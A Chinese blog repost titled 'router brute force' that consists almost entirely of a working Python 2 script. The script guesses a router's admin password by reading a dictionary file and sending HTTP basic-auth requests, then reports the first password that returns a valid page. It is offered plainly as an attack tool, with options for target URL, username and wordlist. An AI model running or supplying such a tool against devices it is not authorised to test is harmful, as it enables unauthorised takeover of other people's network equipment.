• 路由器暴力破解


    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    
    import requests
    from BeautifulSoup import BeautifulSoup
    import time
    import os,sys
    import getopt
    
    # 解决Max retries exceeded with url错误
    #requests.adapters.DEFAULT_RETRIES = 5
    
    # 设置Headers
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6',
        "Host:": "192.168.1.1",
        "Connection":"close",#keep-alive
        "Accept-Encoding": "identity",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
    }
    
    # 从字典文件读取密码,并进行测试
    def check_router_password_use_dict(url,user_name,dict_file_name):
        count = 0L
        fp_error_log = open('error_log','w')
        with open(dict_file_name,'r') as fp:
            for line in fp:
                count += 1
                #print line.strip('
    ')
                try:
                    response = requests.get(url,auth=(user_name,line.strip('
    ')),headers=headers)
                    #print response.status_code,line.strip('
    ')
                    print "%-10s %s %s %s" %(count,time.ctime(),response.status_code,line.strip('
    '))
                    soup = BeautifulSoup(response.content)
                    if response.status_code == 200 and len(soup.title)==1:
                        #print count,time.ctime(),line.strip('
    ')
                        print "It's OK ,password is",line.strip('
    ')
                        break
                except Exception,e:
                    print e
                    fp_error_log.writelines(str(e)+os.linesep)
                    pass
        fp_error_log.close()
    
    
    def Usage(own_file_name):
        print "	Usage:",own_file_name,"-u url -l username -p password_file_path"
    
    if __name__ == "__main__":
        username  = "guest" #default username
        pass_file = ""     #default password file path
        url       = 'http://192.168.1.1' #default router url
        try:
            options,args = getopt.getopt(sys.argv[1:],"hu:l:p:",["help","url=","username=","password_file="])
            for name,value in options:
                if name in ("-h","--help"):
                    Usage(sys.argv[0])
                    sys.exit()
                if name in ("-l","--username"):
                    username = value
                if name in ("-p","--password_file"):
                    pass_file = value
                if name in ("-u","--url"):
                    url = value
            if os.path.isfile(pass_file):
                check_router_password_use_dict(url,username,pass_file)
            else:
                print u"password file not found,try again..."
                Usage(sys.argv[0])
        except getopt.GetoptError:
            sys.exit()
        except KeyboardInterrupt,e:
            sys.exit()

    .

  • 相关阅读:
    理解“统一编址与独立编址、I/O端口与I/O内存” arm
    JS + CSS 美化 select 下拉框表单
    关于 ecshop common.js 文件 自动随机输出 Powered by ECShop
    Zend Framework 入门随笔 配置与注意事项
    Delphi编程保存数据到Excel文件(4):使用NativeExcel2控件
    ORACLE 最大连接数的问题1
    一生delphi编程经验(转)
    XLSReadWriteII控件来完成10×10的乘法表
    Delphi 动态调整打印机纸张大小
    Linux下Oracle重启和修改连接数3
  • 原文地址:https://www.cnblogs.com/tk091/p/3669536.html
Copyright © 2020-2023  润新知